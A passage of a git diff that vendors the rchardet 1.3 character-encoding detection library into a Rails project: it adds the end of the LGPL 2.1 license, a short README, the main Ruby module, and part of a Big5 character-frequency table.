machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Libraries + + If you develop a new library, and you want it to be of the greatest +possible use to the public, we recommend making it free software that +everyone can redistribute and change. You can do so by permitting +redistribution under these terms (or, alternatively, under the terms of the +ordinary General Public License). + + To apply these terms, attach the following notices to the library. It is +safest to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + +Also add information on how to contact you by electronic and paper mail. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the library, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + library `Frob' (a library for tweaking knobs) written by James Random Hacker. + + , 1 April 1990 + Ty Coon, President of Vice + +That's all there is to it! + + diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/README b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/README new file mode 100644 index 00000000..f89c61af --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/README @@ -0,0 +1,12 @@ +Usage: + require 'rubygems' + require 'rchardet' + + cd = CharDet.detect(some_data) + encoding = cd['encoding'] + confidence = cd['confidence'] # 0.0 <= confidence <= 1.0 + +Project page: + http://rubyforge.org/projects/rchardet + + Made for rFeedParser . diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet.rb new file mode 100644 index 00000000..b64338b1 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet.rb @@ -0,0 +1,67 @@ +######################## BEGIN LICENSE BLOCK ######################## +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +$LOAD_PATH.unshift File.expand_path(File.dirname(__FILE__)) + +require 'rchardet/charsetprober' +require 'rchardet/mbcharsetprober' + +require 'rchardet/big5freq' +require 'rchardet/big5prober' +require 'rchardet/chardistribution' +require 'rchardet/charsetgroupprober' + +require 'rchardet/codingstatemachine' +require 'rchardet/constants' +require 'rchardet/escprober' +require 'rchardet/escsm' +require 'rchardet/eucjpprober' +require 'rchardet/euckrfreq' +require 'rchardet/euckrprober' +require 'rchardet/euctwfreq' +require 'rchardet/euctwprober' +require 'rchardet/gb2312freq' +require 'rchardet/gb2312prober' +require 'rchardet/hebrewprober' +require 'rchardet/jisfreq' +require 'rchardet/jpcntx' +require 'rchardet/langbulgarianmodel' +require 'rchardet/langcyrillicmodel' +require 'rchardet/langgreekmodel' +require 'rchardet/langhebrewmodel' +require 'rchardet/langhungarianmodel' +require 'rchardet/langthaimodel' +require 'rchardet/latin1prober' + +require 'rchardet/mbcsgroupprober' +require 'rchardet/mbcssm' +require 'rchardet/sbcharsetprober' +require 'rchardet/sbcsgroupprober' +require 'rchardet/sjisprober' +require 'rchardet/universaldetector' +require 'rchardet/utf8prober' + +module CharDet + VERSION = "1.3" + def CharDet.detect(aBuf) + u = UniversalDetector.new + u.reset + u.feed(aBuf) + u.close + u.result + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/big5freq.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/big5freq.rb new file mode 100755 index 00000000..3606f391 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/big5freq.rb @@ -0,0 +1,927 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# Big5 frequency table +# by Taiwan's Mandarin Promotion Council +# +# +# 128 --> 0.42261 +# 256 --> 0.57851 +# 512 --> 0.74851 +# 1024 --> 0.89384 +# 2048 --> 0.97583 +# +# Ideal Distribution Ratio = 0.74851/(1-0.74851) =2.98 +# Random Distribution Ration = 512/(5401-512)=0.105 +# +# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR + +module CharDet +BIG5_TYPICAL_DISTRIBUTION_RATIO = 0.75 + +#Char to FreqOrder table +BIG5_TABLE_SIZE = 5376 + +Big5CharToFreqOrder = [ + 1,1801,1506, 255,1431, 198, 9, 82, 6,5008, 177, 202,3681,1256,2821, 110, # 16 +3814, 33,3274, 261, 76, 44,2114, 16,2946,2187,1176, 659,3971, 26,3451,2653, # 32 +1198,3972,3350,4202, 410,2215, 302, 590, 361,1964, 8, 204, 58,4510,5009,1932, # 48 + 63,5010,5011, 317,1614, 75, 222, 159,4203,2417,1480,5012,3555,3091, 224,2822, # 64 +3682, 3, 10,3973,1471, 29,2787,1135,2866,1940, 873, 130,3275,1123, 312,5013, # 80 +4511,2052, 507, 252, 682,5014, 142,1915, 124, 206,2947, 34,3556,3204, 64, 604, # 96 +5015,2501,1977,1978, 155,1991, 645, 641,1606,5016,3452, 337, 72, 406,5017, 80, # 112 + 630, 238,3205,1509, 263, 939,1092,2654, 756,1440,1094,3453, 449, 69,2987, 591, # 128 + 179,2096, 471, 115,2035,1844, 60, 50,2988, 134, 806,1869, 734,2036,3454, 180, # 144 + 995,1607, 156, 537,2907, 688,5018, 319,1305, 779,2145, 514,2379, 298,4512, 359, # 160 +2502, 90,2716,1338, 663, 11, 906,1099,2553, 20,2441, 182, 532,1716,5019, 732, # 176 +1376,4204,1311,1420,3206, 25,2317,1056, 113, 399, 382,1950, 242,3455,2474, 529, # 192 +3276, 475,1447,3683,5020, 117, 21, 656, 810,1297,2300,2334,3557,5021, 126,4205, # 208 + 706, 456, 150, 613,4513, 71,1118,2037,4206, 145,3092, 85, 835, 486,2115,1246, # 224 +1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,5022,2128,2359, 347,3815, 221, # 240 +3558,3135,5023,1956,1153,4207, 83, 296,1199,3093, 192, 624, 93,5024, 822,1898, # 256 +2823,3136, 795,2065, 991,1554,1542,1592, 27, 43,2867, 859, 139,1456, 860,4514, # 272 + 437, 712,3974, 164,2397,3137, 695, 211,3037,2097, 195,3975,1608,3559,3560,3684, # 288 +3976, 234, 811,2989,2098,3977,2233,1441,3561,1615,2380, 668,2077,1638, 305, 228, # 304 +1664,4515, 467, 415,5025, 262,2099,1593, 239, 108, 300, 200,1033, 512,1247,2078, # 320 +5026,5027,2176,3207,3685,2682, 593, 845,1062,3277, 88,1723,2038,3978,1951, 212, # 336 + 266, 152, 149, 468,1899,4208,4516, 77, 187,5028,3038, 37, 5,2990,5029,3979, # 352 +5030,5031, 39,2524,4517,2908,3208,2079, 55, 148, 74,4518, 545, 483,1474,1029, # 368 +1665, 217,1870,1531,3138,1104,2655,4209, 24, 172,3562, 900,3980,3563,3564,4519, # 384 + 32,1408,2824,1312, 329, 487,2360,2251,2717, 784,2683, 4,3039,3351,1427,1789, # 400 + 188, 109, 499,5032,3686,1717,1790, 888,1217,3040,4520,5033,3565,5034,3352,1520, # 416 +3687,3981, 196,1034, 775,5035,5036, 929,1816, 249, 439, 38,5037,1063,5038, 794, # 432 +3982,1435,2301, 46, 178,3278,2066,5039,2381,5040, 214,1709,4521, 804, 35, 707, # 448 + 324,3688,1601,2554, 140, 459,4210,5041,5042,1365, 839, 272, 978,2262,2580,3456, # 464 +2129,1363,3689,1423, 697, 100,3094, 48, 70,1231, 495,3139,2196,5043,1294,5044, # 480 +2080, 462, 586,1042,3279, 853, 256, 988, 185,2382,3457,1698, 434,1084,5045,3458, # 496 + 314,2625,2788,4522,2335,2336, 569,2285, 637,1817,2525, 757,1162,1879,1616,3459, # 512 + 287,1577,2116, 768,4523,1671,2868,3566,2526,1321,3816, 909,2418,5046,4211, 933, # 528 +3817,4212,2053,2361,1222,4524, 765,2419,1322, 786,4525,5047,1920,1462,1677,2909, # 544 +1699,5048,4526,1424,2442,3140,3690,2600,3353,1775,1941,3460,3983,4213, 309,1369, # 560 +1130,2825, 364,2234,1653,1299,3984,3567,3985,3986,2656, 525,1085,3041, 902,2001, # 576 +1475, 964,4527, 421,1845,1415,1057,2286, 940,1364,3141, 376,4528,4529,1381, 7, # 592 +2527, 983,2383, 336,1710,2684,1846, 321,3461, 559,1131,3042,2752,1809,1132,1313, # 608 + 265,1481,1858,5049, 352,1203,2826,3280, 167,1089, 420,2827, 776, 792,1724,3568, # 624 +4214,2443,3281,5050,4215,5051, 446, 229, 333,2753, 901,3818,1200,1557,4530,2657, # 640 +1921, 395,2754,2685,3819,4216,1836, 125, 916,3209,2626,4531,5052,5053,3820,5054, # 656 +5055,5056,4532,3142,3691,1133,2555,1757,3462,1510,2318,1409,3569,5057,2146, 438, # 672 +2601,2910,2384,3354,1068, 958,3043, 461, 311,2869,2686,4217,1916,3210,4218,1979, # 688 + 383, 750,2755,2627,4219, 274, 539, 385,1278,1442,5058,1154,1965, 384, 561, 210, # 704 + 98,1295,2556,3570,5059,1711,2420,1482,3463,3987,2911,1257, 129,5060,3821, 642, # 720 + 523,2789,2790,2658,5061, 141,2235,1333, 68, 176, 441, 876, 907,4220, 603,2602, # 736 + 710, 171,3464, 404, 549, 18,3143,2398,1410,3692,1666,5062,3571,4533,2912,4534, # 752 +5063,2991, 368,5064, 146, 366, 99, 871,3693,1543, 748, 807,1586,1185, 22,2263, # 768 + 379,3822,3211,5065,3212, 505,1942,2628,1992,1382,2319,5066, 380,2362, 218, 702, # 784 +1818,1248,3465,3044,3572,3355,3282,5067,2992,3694, 930,3283,3823,5068, 59,5069, # 800 + 585, 601,4221, 497,3466,1112,1314,4535,1802,5070,1223,1472,2177,5071, 749,1837, # 816 + 690,1900,3824,1773,3988,1476, 429,1043,1791,2236,2117, 917,4222, 447,1086,1629, # 832 +5072, 556,5073,5074,2021,1654, 844,1090, 105, 550, 966,1758,2828,1008,1783, 686, # 848 +1095,5075,2287, 793,1602,5076,3573,2603,4536,4223,2948,2302,4537,3825, 980,2503, # 864 + 544, 353, 527,4538, 908,2687,2913,5077, 381,2629,1943,1348,5078,1341,1252, 560, # 880 +3095,5079,3467,2870,5080,2054, 973, 886,2081, 143,4539,5081,5082, 157,3989, 496, # 896 +4224, 57, 840, 540,2039,4540,4541,3468,2118,1445, 970,2264,1748,1966,2082,4225, # 912 +3144,1234,1776,3284,2829,3695, 773,1206,2130,1066,2040,1326,3990,1738,1725,4226, # 928 + 279,3145, 51,1544,2604, 423,1578,2131,2067, 173,4542,1880,5083,5084,1583, 264, # 944 + 610,3696,4543,2444, 280, 154,5085,5086,5087,1739, 338,1282,3096, 693,2871,1411, # 960 +1074,3826,2445,5088,4544,5089,5090,1240, 952,2399,5091,2914,1538,2688, 685,1483, # 976 +4227,2475,1436, 953,4228,2055,4545, 671,2400, 79,4229,2446,3285, 608, 567,2689, # 992 +3469,4230,4231,1691, 393,1261,1792,2401,5092,4546,5093,5094,5095,5096,1383,1672, # 1008 +3827,3213,1464, 522,1119, 661,1150, 216, 675,4547,3991,1432,3574, 609,4548,2690, # 1024 +2402,5097,5098,5099,4232,3045, 0,5100,2476, 315, 231,2447, 301,3356,4549,2385, # 1040 +5101, 233,4233,3697,1819,4550,4551,5102, 96,1777,1315,2083,5103, 257,5104,1810, # 1056 +3698,2718,1139,1820,4234,2022,1124,2164,2791,1778,2659,5105,3097, 363,1655,3214, # 1072 +5106,2993,5107,5108,5109,3992,1567,3993, 718, 103,3215, 849,1443, 341,3357,2949, # 1088 +1484,5110,1712, 127, 67, 339,4235,2403, 679,1412, 821,5111,5112, 834, 738, 351, # 1104 +2994,2147, 846, 235,1497,1881, 418,1993,3828,2719, 186,1100,2148,2756,3575,1545, # 1120 +1355,2950,2872,1377, 583,3994,4236,2581,2995,5113,1298,3699,1078,2557,3700,2363, # 1136 + 78,3829,3830, 267,1289,2100,2002,1594,4237, 348, 369,1274,2197,2178,1838,4552, # 1152 +1821,2830,3701,2757,2288,2003,4553,2951,2758, 144,3358, 882,4554,3995,2759,3470, # 1168 +4555,2915,5114,4238,1726, 320,5115,3996,3046, 788,2996,5116,2831,1774,1327,2873, # 1184 +3997,2832,5117,1306,4556,2004,1700,3831,3576,2364,2660, 787,2023, 506, 824,3702, # 1200 + 534, 323,4557,1044,3359,2024,1901, 946,3471,5118,1779,1500,1678,5119,1882,4558, # 1216 + 165, 243,4559,3703,2528, 123, 683,4239, 764,4560, 36,3998,1793, 589,2916, 816, # 1232 + 626,1667,3047,2237,1639,1555,1622,3832,3999,5120,4000,2874,1370,1228,1933, 891, # 1248 +2084,2917, 304,4240,5121, 292,2997,2720,3577, 691,2101,4241,1115,4561, 118, 662, # 1264 +5122, 611,1156, 854,2386,1316,2875, 2, 386, 515,2918,5123,5124,3286, 868,2238, # 1280 +1486, 855,2661, 785,2216,3048,5125,1040,3216,3578,5126,3146, 448,5127,1525,5128, # 1296 +2165,4562,5129,3833,5130,4242,2833,3579,3147, 503, 818,4001,3148,1568, 814, 676, # 1312 +1444, 306,1749,5131,3834,1416,1030, 197,1428, 805,2834,1501,4563,5132,5133,5134, # 1328 +1994,5135,4564,5136,5137,2198, 13,2792,3704,2998,3149,1229,1917,5138,3835,2132, # 1344 +5139,4243,4565,2404,3580,5140,2217,1511,1727,1120,5141,5142, 646,3836,2448, 307, # 1360 +5143,5144,1595,3217,5145,5146,5147,3705,1113,1356,4002,1465,2529,2530,5148, 519, # 1376 +5149, 128,2133, 92,2289,1980,5150,4003,1512, 342,3150,2199,5151,2793,2218,1981, # 1392 +3360,4244, 290,1656,1317, 789, 827,2365,5152,3837,4566, 562, 581,4004,5153, 401, # 1408 +4567,2252, 94,4568,5154,1399,2794,5155,1463,2025,4569,3218,1944,5156, 828,1105, # 1424 +4245,1262,1394,5157,4246, 605,4570,5158,1784,2876,5159,2835, 819,2102, 578,2200, # 1440 +2952,5160,1502, 436,3287,4247,3288,2836,4005,2919,3472,3473,5161,2721,2320,5162, # 1456 +5163,2337,2068, 23,4571, 193, 826,3838,2103, 699,1630,4248,3098, 390,1794,1064, # 1472 +3581,5164,1579,3099,3100,1400,5165,4249,1839,1640,2877,5166,4572,4573, 137,4250, # 1488 + 598,3101,1967, 780, 104, 974,2953,5167, 278, 899, 253, 402, 572, 504, 493,1339, # 1504 +5168,4006,1275,4574,2582,2558,5169,3706,3049,3102,2253, 565,1334,2722, 863, 41, # 1520 +5170,5171,4575,5172,1657,2338, 19, 463,2760,4251, 606,5173,2999,3289,1087,2085, # 1536 +1323,2662,3000,5174,1631,1623,1750,4252,2691,5175,2878, 791,2723,2663,2339, 232, # 1552 +2421,5176,3001,1498,5177,2664,2630, 755,1366,3707,3290,3151,2026,1609, 119,1918, # 1568 +3474, 862,1026,4253,5178,4007,3839,4576,4008,4577,2265,1952,2477,5179,1125, 817, # 1584 +4254,4255,4009,1513,1766,2041,1487,4256,3050,3291,2837,3840,3152,5180,5181,1507, # 1600 +5182,2692, 733, 40,1632,1106,2879, 345,4257, 841,2531, 230,4578,3002,1847,3292, # 1616 +3475,5183,1263, 986,3476,5184, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562, # 1632 +4010,4011,2954, 967,2761,2665,1349, 592,2134,1692,3361,3003,1995,4258,1679,4012, # 1648 +1902,2188,5185, 739,3708,2724,1296,1290,5186,4259,2201,2202,1922,1563,2605,2559, # 1664 +1871,2762,3004,5187, 435,5188, 343,1108, 596, 17,1751,4579,2239,3477,3709,5189, # 1680 +4580, 294,3582,2955,1693, 477, 979, 281,2042,3583, 643,2043,3710,2631,2795,2266, # 1696 +1031,2340,2135,2303,3584,4581, 367,1249,2560,5190,3585,5191,4582,1283,3362,2005, # 1712 + 240,1762,3363,4583,4584, 836,1069,3153, 474,5192,2149,2532, 268,3586,5193,3219, # 1728 +1521,1284,5194,1658,1546,4260,5195,3587,3588,5196,4261,3364,2693,1685,4262, 961, # 1744 +1673,2632, 190,2006,2203,3841,4585,4586,5197, 570,2504,3711,1490,5198,4587,2633, # 1760 +3293,1957,4588, 584,1514, 396,1045,1945,5199,4589,1968,2449,5200,5201,4590,4013, # 1776 + 619,5202,3154,3294, 215,2007,2796,2561,3220,4591,3221,4592, 763,4263,3842,4593, # 1792 +5203,5204,1958,1767,2956,3365,3712,1174, 452,1477,4594,3366,3155,5205,2838,1253, # 1808 +2387,2189,1091,2290,4264, 492,5206, 638,1169,1825,2136,1752,4014, 648, 926,1021, # 1824 +1324,4595, 520,4596, 997, 847,1007, 892,4597,3843,2267,1872,3713,2405,1785,4598, # 1840 +1953,2957,3103,3222,1728,4265,2044,3714,4599,2008,1701,3156,1551, 30,2268,4266, # 1856 +5207,2027,4600,3589,5208, 501,5209,4267, 594,3478,2166,1822,3590,3479,3591,3223, # 1872 + 829,2839,4268,5210,1680,3157,1225,4269,5211,3295,4601,4270,3158,2341,5212,4602, # 1888 +4271,5213,4015,4016,5214,1848,2388,2606,3367,5215,4603, 374,4017, 652,4272,4273, # 1904 + 375,1140, 798,5216,5217,5218,2366,4604,2269, 546,1659, 138,3051,2450,4605,5219, # 1920 +2254, 612,1849, 910, 796,3844,1740,1371, 825,3845,3846,5220,2920,2562,5221, 692, # 1936 + 444,3052,2634, 801,4606,4274,5222,1491, 244,1053,3053,4275,4276, 340,5223,4018, # 1952 +1041,3005, 293,1168, 87,1357,5224,1539, 959,5225,2240, 721, 694,4277,3847, 219, # 1968 +1478, 644,1417,3368,2666,1413,1401,1335,1389,4019,5226,5227,3006,2367,3159,1826, # 1984 + 730,1515, 184,2840, 66,4607,5228,1660,2958, 246,3369, 378,1457, 226,3480, 975, # 2000 +4020,2959,1264,3592, 674, 696,5229, 163,5230,1141,2422,2167, 713,3593,3370,4608, # 2016 +4021,5231,5232,1186, 15,5233,1079,1070,5234,1522,3224,3594, 276,1050,2725, 758, # 2032 +1126, 653,2960,3296,5235,2342, 889,3595,4022,3104,3007, 903,1250,4609,4023,3481, # 2048 +3596,1342,1681,1718, 766,3297, 286, 89,2961,3715,5236,1713,5237,2607,3371,3008, # 2064 +5238,2962,2219,3225,2880,5239,4610,2505,2533, 181, 387,1075,4024, 731,2190,3372, # 2080 +5240,3298, 310, 313,3482,2304, 770,4278, 54,3054, 189,4611,3105,3848,4025,5241, # 2096 +1230,1617,1850, 355,3597,4279,4612,3373, 111,4280,3716,1350,3160,3483,3055,4281, # 2112 +2150,3299,3598,5242,2797,4026,4027,3009, 722,2009,5243,1071, 247,1207,2343,2478, # 2128 +1378,4613,2010, 864,1437,1214,4614, 373,3849,1142,2220, 667,4615, 442,2763,2563, # 2144 +3850,4028,1969,4282,3300,1840, 837, 170,1107, 934,1336,1883,5244,5245,2119,4283, # 2160 +2841, 743,1569,5246,4616,4284, 582,2389,1418,3484,5247,1803,5248, 357,1395,1729, # 2176 +3717,3301,2423,1564,2241,5249,3106,3851,1633,4617,1114,2086,4285,1532,5250, 482, # 2192 +2451,4618,5251,5252,1492, 833,1466,5253,2726,3599,1641,2842,5254,1526,1272,3718, # 2208 +4286,1686,1795, 416,2564,1903,1954,1804,5255,3852,2798,3853,1159,2321,5256,2881, # 2224 +4619,1610,1584,3056,2424,2764, 443,3302,1163,3161,5257,5258,4029,5259,4287,2506, # 2240 +3057,4620,4030,3162,2104,1647,3600,2011,1873,4288,5260,4289, 431,3485,5261, 250, # 2256 + 97, 81,4290,5262,1648,1851,1558, 160, 848,5263, 866, 740,1694,5264,2204,2843, # 2272 +3226,4291,4621,3719,1687, 950,2479, 426, 469,3227,3720,3721,4031,5265,5266,1188, # 2288 + 424,1996, 861,3601,4292,3854,2205,2694, 168,1235,3602,4293,5267,2087,1674,4622, # 2304 +3374,3303, 220,2565,1009,5268,3855, 670,3010, 332,1208, 717,5269,5270,3603,2452, # 2320 +4032,3375,5271, 513,5272,1209,2882,3376,3163,4623,1080,5273,5274,5275,5276,2534, # 2336 +3722,3604, 